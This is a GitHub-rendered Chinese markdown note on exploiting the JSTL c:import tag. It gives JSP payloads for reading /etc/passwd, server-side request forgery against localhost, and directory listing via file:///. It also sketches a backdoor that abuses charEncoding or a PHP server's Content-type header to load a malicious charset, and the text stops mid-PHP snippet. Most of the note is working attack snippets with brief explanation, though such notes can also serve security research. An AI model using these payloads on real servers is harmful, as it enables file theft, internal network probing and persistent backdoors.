Skip to content

Latest commit

 

History

History
72 lines (48 loc) · 1013 Bytes

index.md

File metadata and controls

72 lines (48 loc) · 1013 Bytes
Raw

JSTL的可利用点

依赖

<dependency>
  <groupId>org.apache.taglibs</groupId>
  <artifactId>taglibs-standard-impl</artifactId>
  <version>1.2.5</version>
  <scope>runtime</scope>
</dependency>

文件头需要引入

<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>

import标签

SSRF与任意文件读

任意文件读file:///etc/passwd或url:file:///etc/passwd

<c:import  url="file:///etc/passwd">
</c:import>

SSRF

<c:import  url="http://127.0.0.1">
</c:import>

列目录

Java很骚，能通过file:///去读取目录下有哪些文件

<c:import  url="file:///">
</c:import>

配合Charsets.forName留后门

  1. c:import标签自带设置
<c:import  url="http://xxx" charEncoding="evil" >
</c:import>
  1. 会根据请求内容体返回设置
<c:import  url="http://xxx/index.php" >
</c:import>

然后php服务器上设置

<?php

header("Content-type: charset=evil");